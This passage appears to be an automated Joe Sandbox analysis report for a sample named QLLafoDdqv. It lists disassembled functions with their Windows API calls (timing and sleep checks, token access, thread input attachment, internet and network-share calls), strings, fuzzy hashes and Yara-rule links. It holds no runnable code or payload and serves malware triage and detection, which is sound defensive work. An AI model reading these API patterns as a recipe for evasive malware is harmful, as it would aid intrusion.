Instruction Fuzzy Hash: 8D117CF12053949BF7348F54EC08BA27FF8EB00B10F108569A656D6552D7B8F904DB50

Function 0073B0A8 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0073ACD3,?,00008000), ref: 0073B0C4
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0073ACD3,?,00008000), ref: 0073B0E9
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0073ACD3,?,00008000), ref: 0073B0F3
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0073ACD3,?,00008000), ref: 0073B126

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: 3d15ceefd3109e122ef3687befabfb1fe61d184c39182a819dba6e2a2adf8496
Instruction ID: 2f319ecfdd969ad27f082ba8a7f9ea8a07068a593a9cf16dd9c20f6db508d642
Opcode Fuzzy Hash: 3d15ceefd3109e122ef3687befabfb1fe61d184c39182a819dba6e2a2adf8496
Instruction Fuzzy Hash: BC116171C0161CD7DF04AFE4D9596FEBB78FF0A711F108089DA81B6146CB7895508B55

Function 00732DA7 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00732DC5
GetWindowThreadProcessId.USER32(?,00000000), ref: 00732DD6
GetCurrentThreadId.KERNEL32 ref: 00732DDD
AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00732DE4

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: b993afd267a88bedeba8cca67a3d790eca0ed482edef7e4405f90724afe940d8
Instruction ID: b45706a92af35b061271b0568ed4a8dac37550603f0354d57cce51ab442cff39
Opcode Fuzzy Hash: b993afd267a88bedeba8cca67a3d790eca0ed482edef7e4405f90724afe940d8
Instruction Fuzzy Hash: DAE06D722013247AEB212B62DC0EEFB7E6CEF42BA1F004015F107D10829AE98841C6B5

Function 00768863 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 006E9639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 006E9693
Part of subcall function 006E9639: SelectObject.GDI32(?,00000000), ref: 006E96A2
Part of subcall function 006E9639: BeginPath.GDI32(?), ref: 006E96B9
Part of subcall function 006E9639: SelectObject.GDI32(?,00000000), ref: 006E96E2

MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00768887
LineTo.GDI32(?,?,?), ref: 00768894
EndPath.GDI32(?), ref: 007688A4
StrokePath.GDI32(?), ref: 007688B2

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 959e9c5038c6a7227cecffa0efc5bc3393c7c477a74b4fd4e36d47a36259dd4b
Instruction ID: 2cc1c18390d1a5f86a6780f14cf707a2d8e2c9bd0bd4d9128a5efd4c13719e00
Opcode Fuzzy Hash: 959e9c5038c6a7227cecffa0efc5bc3393c7c477a74b4fd4e36d47a36259dd4b
Instruction Fuzzy Hash: D6F03A36041259BAEB136F94AC09FDA3F59AF4A310F44C100FA52651E1C7B95511CFAA

Function 006E98B0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 006E98CC
SetTextColor.GDI32(?,?), ref: 006E98D6
SetBkMode.GDI32(?,00000001), ref: 006E98E9
GetStockObject.GDI32(00000005), ref: 006E98F1

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Color$ModeObjectStockText
String ID:
API String ID: 4037423528-0
Opcode ID: ffa1bd225921eef9bd2fc7271c5113f43289d53a282c626531e10fc8aaf937f0
Instruction ID: bf5f8d2a2da00ac26fa1ac98fa342632d882705ae41aa398280c76ccfd119ccd
Opcode Fuzzy Hash: ffa1bd225921eef9bd2fc7271c5113f43289d53a282c626531e10fc8aaf937f0
Instruction Fuzzy Hash: 01E06531244384AADB225B75FC09BE93F11AB12335F14C219F6FB540E1C3B94650DB11

Function 0073162B Relevance: 6.0, APIs: 4, Instructions: 22threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00731634
OpenThreadToken.ADVAPI32(00000000,?,?,?,007311D9), ref: 0073163B
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,007311D9), ref: 00731648
OpenProcessToken.ADVAPI32(00000000,?,?,?,007311D9), ref: 0073164F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: e06761637a89cdd6dae6d644487237d8eedb1ed8b055ec0b8170b1c2b4863934
Instruction ID: b47e7c0917eca463b06563f46de632ec65e75d4311e549d7f9321fe0fb387975
Opcode Fuzzy Hash: e06761637a89cdd6dae6d644487237d8eedb1ed8b055ec0b8170b1c2b4863934
Instruction Fuzzy Hash: EEE08671601311EBE7201FE19E0DB663B7CAF44791F14C808F686D9080DABC4440C758

Function 0072D858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0072D858
GetDC.USER32(00000000), ref: 0072D862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0072D882
ReleaseDC.USER32(?), ref: 0072D8A3

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 46fd10555ce78d5e5ca6f0be6f1f1b253eb038102eda950e347686c8d331e0d1
Instruction ID: a1e015248ba213f0ff686f7f09f9ad729269b6c2fb46886580e93bc2a68491f4
Opcode Fuzzy Hash: 46fd10555ce78d5e5ca6f0be6f1f1b253eb038102eda950e347686c8d331e0d1
Instruction Fuzzy Hash: F3E01AB5800305DFCB429FA0D808A7DBBB2FB08310F14D009E88BE7250C7BC9941AF48

Function 0072D86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 0072D86C
GetDC.USER32(00000000), ref: 0072D876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0072D882
ReleaseDC.USER32(?), ref: 0072D8A3

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 8c30af589b94cf18ec6c2596215f439f906e7d8749e10eccf5c2566d2759a9b5
Instruction ID: b9fbc5aad1b9bdf5ef9f001c47bd890f516d206e9e9ccb70df9fd0237e653fe8
Opcode Fuzzy Hash: 8c30af589b94cf18ec6c2596215f439f906e7d8749e10eccf5c2566d2759a9b5
Instruction Fuzzy Hash: 02E01A70C00304DFCB429FA0D80866DBBB2FB08310B149009E98AE7250C7BC59019F48

Function 00744D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 006D7620: _wcslen.LIBCMT ref: 006D7625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00744ED4

Strings

*, xrefs: 00744E10
LPT, xrefs: 00744DFB

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: a0259067a6e9edf8d1c7586cb12e727afa582bb906799311179c97b3c833ea3e
Instruction ID: ee6ea3af779c17143d1bd9e330c6f207bb9ee584a19bd1a47bffd699da79edb8
Opcode Fuzzy Hash: a0259067a6e9edf8d1c7586cb12e727afa582bb906799311179c97b3c833ea3e
Instruction Fuzzy Hash: 94914D75A002549FDB14DF58C484FAABBF1BF44304F198099E80A9F3A2D739EE85DB91

Function 00757771 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(0072569E,00000000,?,0076CC08,?,00000000,00000000), ref: 007578DD

Part of subcall function 006D6B57: _wcslen.LIBCMT ref: 006D6B6A

CharUpperBuffW.USER32(0072569E,00000000,?,0076CC08,00000000,?,00000000,00000000), ref: 0075783B

Strings

<sy, xrefs: 007577C8

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: BuffCharUpper$_wcslen
String ID: <sy
API String ID: 3544283678-4294649419
Opcode ID: c9159a4a275e924a04b3c4ddedb15c8861f3dea3807f2b8097501a6d778d6422
Instruction ID: 9ffc1710135f06a075a9cf6980cd7a11bb6445158324f7e8b8c3132c5d0309ba
Opcode Fuzzy Hash: c9159a4a275e924a04b3c4ddedb15c8861f3dea3807f2b8097501a6d778d6422
Instruction Fuzzy Hash: BB618371D141189BCF48EBE0DC91DFDB375BF14301B44452AF942A7291EF786A09DBA4

Function 006EE187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 006EE1B1

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 2bf76d0a4c130946404615e64769b2adbd71c5f3d5016cdee181a9b2b8cb4ac5
Instruction ID: 5e8112ec98d61a462b2bdbb46215fc54cda045109d30ecbbd29a8a1ef2388a89
Opcode Fuzzy Hash: 2bf76d0a4c130946404615e64769b2adbd71c5f3d5016cdee181a9b2b8cb4ac5
Instruction Fuzzy Hash: 45514335A01396DFDB15DF69D0816FA7BAAEF15310F248059E8919B3C0DB399E43CBA0

Function 006EF291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 006EF2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 006EF2BB

Strings

@, xrefs: 006EF2AF

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 9aa994e7cfe10a609439a920ce03e55d6472ace42a2e266f89344b50ffbaf49d
Instruction ID: 195248a5a8836f5fa29b98a90af3299b0432ef810a9389e6e1e61dd40b97c019
Opcode Fuzzy Hash: 9aa994e7cfe10a609439a920ce03e55d6472ace42a2e266f89344b50ffbaf49d
Instruction Fuzzy Hash: 0B5158718087499BD360AF10DC86BABBBF9FF84310F91884DF1D981195EB709529CB6B

Function 00755745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 007557E0
_wcslen.LIBCMT ref: 007557EC

Strings

CALLARGARRAY, xrefs: 007557E6, 007557EB

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: 2837c5cb3da8bed441e28c5cd2debedea87dc2016890a234462c0b7e272c4e66
Instruction ID: fa7da8ce989b906a3eff5fcb515edae7df93156e5fd6fbbf7140e495702f836f
Opcode Fuzzy Hash: 2837c5cb3da8bed441e28c5cd2debedea87dc2016890a234462c0b7e272c4e66
Instruction Fuzzy Hash: D6419F31E00209DFCB14DFA9C8959FEBBB5EF59311F10402DE905A7251E7B9AD85CBA0

Function 0074D0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0074D130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 0074D13A

Strings

|, xrefs: 0074D10B

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: a465e94310c23077c28105d607f8b93dd37bac1d089417086656fe9248bd2cf8
Instruction ID: e59fd2e0ac6a2cf8cec74010fba208d9631ebaecb1b8c1c259c371b053f00249
Opcode Fuzzy Hash: a465e94310c23077c28105d607f8b93dd37bac1d089417086656fe9248bd2cf8
Instruction Fuzzy Hash: 4A313D75D00209ABCF55EFA4CC85AEE7FBAFF04304F00001EF915A6265EB35AA06DB64

Function 0076356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00763621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 0076365C

Strings

static, xrefs: 007635BC

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: c8e6cfa3169c1c75736e33e52170659dcf13f0283030f38f5132c7439da916ff
Instruction ID: 0b018369fd3b9a489186bb0b1438f142749cebde83e9bbb639f7de2853470b09
Opcode Fuzzy Hash: c8e6cfa3169c1c75736e33e52170659dcf13f0283030f38f5132c7439da916ff
Instruction Fuzzy Hash: D6318F71100204AAEB109F78DC40EFB73A9FF88724F00961DFDA697290DA78AD91C764

Function 00764537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 0076461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00764634

Strings

', xrefs: 0076458E

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: ab699a260db84c5bb369bb4190484bc0103a0ae4a289b47af5b896dcc71c7fd0
Instruction ID: 72c942bbd99c6debff109d02880331025b851ce6089effceb8528f1a1fad5da1
Opcode Fuzzy Hash: ab699a260db84c5bb369bb4190484bc0103a0ae4a289b47af5b896dcc71c7fd0
Instruction Fuzzy Hash: 38312774A0120A9FDF14CFA9C980BDA7BB5FF49300F14406AED06AB342D774A951CF90

Function 007631EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0076327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00763287

Strings

Combobox, xrefs: 00763249

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 7af11ecf8bb60870da8cc17cd972c3026f2ddf3e5915b2f50e469d35d4754fc3
Instruction ID: 997092defedd7166d6c326abea698cf3df1a7257746bfd621fad275c15de15f4
Opcode Fuzzy Hash: 7af11ecf8bb60870da8cc17cd972c3026f2ddf3e5915b2f50e469d35d4754fc3
Instruction Fuzzy Hash: 6D11E271300208BFFF25DE54DC90EBB37AAFB943A4F104128F91A97290D6799D51C760

Function 00763710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 006D600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 006D604C
Part of subcall function 006D600E: GetStockObject.GDI32(00000011), ref: 006D6060
Part of subcall function 006D600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 006D606A

GetWindowRect.USER32(00000000,?), ref: 0076377A
GetSysColor.USER32(00000012), ref: 00763794

Strings

static, xrefs: 00763757

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 03b58c3129f5cc7066945cc0bc8f5d78177e02a807bc320969db50b7de55f22b
Instruction ID: 2c7ec7d799701aa0b904c0064bc4e49e8059ed111dbd1e3e19ce8f9e2161f1b1
Opcode Fuzzy Hash: 03b58c3129f5cc7066945cc0bc8f5d78177e02a807bc320969db50b7de55f22b
Instruction Fuzzy Hash: 301129B2610209AFDB01DFA8CC45AFA7BB8EB09354F004515FD56E2250D779E851DB50

Function 0074CD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0074CD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 0074CDA6

Strings

<local>, xrefs: 0074CD66

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 34323b5b75b6ce3f73b590345d31a23327883da23e3e426dc5bc9ab067ad6a41
Instruction ID: dbab2b53fac9e62d10b9ed610a221f4dba34d8bb70a7981863a5ebe6da7a048e
Opcode Fuzzy Hash: 34323b5b75b6ce3f73b590345d31a23327883da23e3e426dc5bc9ab067ad6a41
Instruction Fuzzy Hash: 4A11C671B066357AD77A4B668C45EF7BE6CEF127A4F004226B15983190D7789840DAF0

Function 00763429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 007634AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 007634BA

Strings

edit, xrefs: 0076348F

